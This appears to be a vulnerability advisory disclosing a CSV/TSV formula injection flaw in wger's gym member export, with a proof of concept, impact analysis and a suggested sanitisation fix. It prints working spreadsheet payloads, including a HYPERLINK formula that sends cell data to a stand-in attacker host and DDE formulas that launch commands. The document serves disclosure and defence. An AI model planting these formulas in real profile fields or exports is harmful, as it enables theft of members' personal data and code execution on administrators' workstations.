Описание
wger: CSV/TSV formula injection in gym member export (first_name/last_name)
Summary
The gym member TSV export endpoint in wger writes first_name and last_name profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.
Details
File: wger/gym/views/export.py, approximately line 73
Python's csv.writer does not escape spreadsheet formula triggers (=, +, -, @, \t, \r). Any gym member can set their first_name to =HYPERLINK("http://attacker.example/?p="&A1,"click") via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context — outside the wger server boundary.
Affected endpoints:
GET /en/gym/export/users/<gym_pk>->wger.gym.views.export(TSV download)- Profile fields injected via profile edit endpoint (first_name/last_name)
Suggested patch:
Prepending ' to any cell value beginning with =, +, -, or @ is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply sanitise_cell to all exported user-supplied fields, or subclass csv.writer to apply the sanitization globally for future fields.
PoC
Tested on wger/server:latest Docker image. Test users: gym member (any registered user) and trainer1 (manage_gym permission).
Step 1 - Inject formula payload into profile (any gym member, including self-registered):
URL-decoded value: =HYPERLINK("http://attacker.example/x?p="&A1,"click")
Step 2 - Gym admin exports member list:
Step 3 - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:
- Formula cell renders as clickable "click" hyperlink.
- On click (or on file-open with DDE-enabled Excel): browser issues
GET http://attacker.example/x?p=[cell_A1_contents]. - Attacker server receives exfiltrated spreadsheet data.
Confirmed during testing: both =cmd|calc.exe!A1 (DDE) and =HYPERLINK(attacker.com) payloads appear raw in the exported TSV response body.
Reproducibility: 2/2 runs after clean-baseline database reset.
Impact
Any gym member (including self-registered users) can inject a spreadsheet formula into their own first_name or last_name. When a gym administrator with manage_gym permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin's local spreadsheet context:
- Data exfiltration: other members' email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via
HYPERLINKorWEBSERVICEfunctions. - Local code execution (legacy Excel with DDE enabled): payloads like
=cmd|'/c calc.exe'!A1execute arbitrary commands on the admin's workstation. - Phishing: formulas can display admin-trusted text while silently redirecting on click.
Affected deployments: every wger instance that delegates manage_gym to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.
Severity: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin's local context), high confidentiality and integrity loss.
This is a standalone CWE-1236 vulnerability, independent of the None != None cluster of access-control findings. The fix is a small, local sanitization helper.
Пакеты
wger
<= 2.5
2.6
7.4 High
CVSS3
Дефекты
7.4 High
CVSS3